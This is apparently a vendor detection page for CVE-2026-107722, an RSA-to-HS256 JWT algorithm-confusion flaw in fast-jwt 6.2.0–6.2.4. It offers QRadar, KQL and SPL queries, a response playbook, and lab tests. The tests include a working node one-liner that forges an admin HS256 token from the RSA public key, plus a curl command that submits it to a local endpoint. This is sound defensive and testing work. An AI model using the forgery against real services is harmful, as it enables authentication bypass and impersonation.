Detect fast-jwt Incomplete CVE-2026-34950 Patch: Non-Whitespace Key-Prefix RSA→HS256 Algorithm Confusion (CVE-2026-107722) in IBM QRadar
Detects exploitation of CVE-2026-107722, an incomplete-patch regression in the fast-jwt npm library (>= 6.2.0, <= 6.2.4). The original CVE-2026-34950 fix stripped only whitespace when normalizing a verifier's configured key, so a non-whitespace key prefix re-enables the classic RSA→HS256 algorithm-confusion attack: an attacker forges a JWT with the header alg set to HS256 and signs it using the application's RSA public key (which is not secret) as the HMAC secret. A vulnerable fast-jwt verifier configured for an RS256/RS384/RS512 public key will accept the forged HS256 token, allowing authentication bypass and privilege escalation. Detection focuses on JWTs presenting alg=HS256 against endpoints that should only accept asymmetric algorithms, verification acceptance of HS256 tokens, and the presence of affected fast-jwt versions in running Node.js services.
MITRE ATT&CK
QRadar Detection Query
-- df00tech DF00-e0e44687cc · https://df00tech.com/detections/CVE-2026-107722 · licence: https://df00tech.com/detections/licence
SELECT sourceip, url, "JWT Algorithm" AS alg, COUNT(*) AS hits
FROM events
WHERE LOGSOURCETYPENAME(devicetype) IN ('Apache HTTP Server', 'Microsoft IIS', 'NGINX')
AND (url ILIKE '/api/%' OR url ILIKE '/auth%' OR url ILIKE '/token%' OR url ILIKE '/login%')
AND "JWT Algorithm" IN ('HS256','HS384','HS512')
GROUP BY sourceip, url, "JWT Algorithm"
ORDER BY hits DESC
LAST 24 HOURS Relies on a QRadar custom event property 'JWT Algorithm' (regex-extracted from the decoded Authorization header) to surface HMAC-algorithm tokens against RSA-only application endpoints.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate mixed-algorithm acceptance during migration.
- Internal service tokens signed with HMAC secrets.
- Authorized security testing traffic.
Other platforms for CVE-2026-107722
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Forge RSA→HS256 confusion token against vulnerable fast-jwt verifier
Expected signal: Node.js process installs [email protected]; a JWT with header {"alg":"HS256"} is generated and verified in-process.
- Test 2 Submit HS256 forged token over HTTP to a protected endpoint
Expected signal: Proxy/web access log records a request to /api/profile with an Authorization: Bearer header whose decoded JWT header alg is HS256.
- Test 3 Inventory scan for affected fast-jwt versions
Expected signal: File read access to package-lock.json files; process execution of node for version parsing.
References (5)
- https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4
- https://github.com/nearform/fast-jwt/pull/632
- https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa
- https://github.com/nearform/fast-jwt/releases/tag/v6.3.0
- https://github.com/advisories/GHSA-ww5h-9m49-7xx4
Response Playbook
Triage
- Decode the offending JWT header and payload (do not trust the signature): confirm the header alg is HS256/384/512 while the target application is configured for RS256/384/512 verification — this mismatch is the primary indicator.
- Identify the receiving service and confirm whether it uses fast-jwt at a version in the affected range (>= 6.2.0, <= 6.2.4) via `npm ls fast-jwt` / lockfile inspection.
- Check the application response/auth outcome for the flagged request: an HTTP 200 / successful authentication following an HS256 token against an RSA endpoint indicates the forgery was accepted (true exploitation), versus a 401 (blocked attempt).
- Review the JWT claims (sub, roles, scopes, exp) in accepted tokens to determine whether privilege escalation or impersonation occurred.
Containment
- Upgrade fast-jwt to 6.3.0 or later on all affected services immediately; if upgrade is blocked, explicitly pin the verifier to the asymmetric algorithm via the `algorithms` allow-list option so HS* is rejected.
- Rotate any RSA key pairs whose public key may have been used as the HMAC secret, and invalidate all currently issued sessions/tokens (bump key id / signing key) to force re-authentication.
- Place a temporary WAF/proxy rule rejecting inbound Bearer tokens whose decoded header alg is in the HMAC family on RSA-only endpoints.
Evidence Collection
- Preserve raw proxy/web access logs containing the full Authorization header and the decoded JWT header/payload for each flagged request.
- Capture the application's fast-jwt verifier configuration (algorithms option, key material source) and the installed package version from the lockfile.
- Snapshot authentication and authorization audit logs around the event window to establish whether forged tokens produced authenticated sessions or privileged actions.
Escalation Criteria
- !Escalate to incident response if any HS256 token against an RSA endpoint received a successful (authenticated) response, indicating confirmed authentication bypass.
- !Escalate if forged-token activity correlates with privileged account actions, data access, or lateral movement.
- !Escalate if the affected fast-jwt version is confirmed in a production, internet-facing service handling sensitive data.
Investigation Guide
Forensic Artifacts
- >
Proxy/web access logs containing Bearer tokens with HMAC alg headers. - >
fast-jwt version in package-lock.json / node_modules and the verifier's algorithms configuration. - >
Application auth-success audit records correlated with forged token requests.
Tuning Guidance
Build an allow-list of endpoints/services that legitimately accept HMAC-signed JWTs and exclude them, so the detection fires only where RSA verification is expected. If application logs expose the auth outcome, tighten to accepted HS256 tokens (HTTP 200) to eliminate blocked-attempt noise. Suppress known security-testing source IPs. Where an ingest pipeline can decode the JWT and compare the header alg against the endpoint's configured algorithm, promote matches to high confidence.
Hunting Queries
Baselines which clients and endpoints present HMAC-family JWTs, so RSA-only services receiving HS* tokens stand out.
// df00tech DF00-e0e44687cc · https://df00tech.com/detections/CVE-2026-107722 · licence: https://df00tech.com/detections/licence
W3CIISLog | extend AuthHeader = tostring(column_ifexists("csAuthorization","")) | where AuthHeader startswith "Bearer " | extend Alg = tostring(parse_json(base64_decode_tostring(replace_string(replace_string(tostring(split(substring(AuthHeader,7),".")[0]),"-","+"),"_","/"))).alg) | where Alg startswith "HS" | summarize count() by cIP, Alg, csUriStem ``` df00tech DF00-e0e44687cc · https://df00tech.com/detections/CVE-2026-107722 · licence: https://df00tech.com/detections/licence ```
index=web | eval auth=coalesce(authorization,http_authorization) | where match(auth,"(?i)^Bearer ") | eval alg=replace(base64decode(mvindex(split(replace(auth,"(?i)^Bearer\s+",""),"."),0)),".*\"alg\":\"([^\"]+)\".*","\1") | where match(alg,"(?i)^HS") | stats count by src_ip, alg, uri_path Atomic Red Team Tests
In a lab, create a fast-jwt verifier using an RSA public key and submit a token signed with HS256 using that same public key as the HMAC secret to confirm acceptance on vulnerable versions.
Command
mkdir -p /tmp/fastjwt-poc && cd /tmp/fastjwt-poc && npm init -y >/dev/null 2>&1 && npm i [email protected] >/dev/null 2>&1 && openssl genrsa -out priv.pem 2048 2>/dev/null && openssl rsa -in priv.pem -pubout -out pub.pem 2>/dev/null && node -e 'const{createSigner,createVerifier}=require("fast-jwt");const fs=require("fs");const pub=fs.readFileSync("pub.pem");const forged=createSigner({algorithm:"HS256",key:pub})({sub:"attacker",role:"admin"});const verify=createVerifier({key:pub});try{console.log("ACCEPTED",verify(forged));}catch(e){console.log("REJECTED",e.message);}' Cleanup
rm -rf /tmp/fastjwt-poc Expected Telemetry
Node.js process installs [email protected]; a JWT with header {"alg":"HS256"} is generated and verified in-process.
Expected Detection
Host-level package inventory flags fast-jwt 6.2.4 as affected; if the verifier is served over HTTP, the proxy detection flags the HS256 token.
Send a crafted HS256 Bearer token to an application endpoint that expects RSA-verified JWTs, generating the network telemetry the detections key on.
Command
TOKEN=$(node -e 'const{createSigner}=require("/tmp/fastjwt-poc/node_modules/fast-jwt");const fs=require("fs");console.log(createSigner({algorithm:"HS256",key:fs.readFileSync("/tmp/fastjwt-poc/pub.pem")})({sub:"attacker",role:"admin"}))'); curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer ${TOKEN}" http://localhost:3000/api/profile Cleanup
unset TOKEN Expected Telemetry
Proxy/web access log records a request to /api/profile with an Authorization: Bearer header whose decoded JWT header alg is HS256.
Expected Detection
KQL/SPL/CQL rules fire on the HMAC-algorithm JWT reaching an RSA-only endpoint.
Enumerate installed fast-jwt versions across Node.js projects to identify hosts in the vulnerable range.
Command
find / -name package-lock.json 2>/dev/null | while read f; do grep -l '"fast-jwt"' "$f" 2>/dev/null; done | while read f; do echo "$f"; node -e 'const l=require(process.argv[1]);const s=JSON.stringify(l);const m=s.match(/fast-jwt[^}]*?"version":"([^"]+)"/);console.log(" fast-jwt",m?m[1]:"?")' "$f"; done Cleanup
echo 'no cleanup required (read-only inventory)' Expected Telemetry
File read access to package-lock.json files; process execution of node for version parsing.
Expected Detection
Vulnerability management / SCA flags any fast-jwt version >= 6.2.0 and <= 6.2.4 as CVE-2026-107722 affected.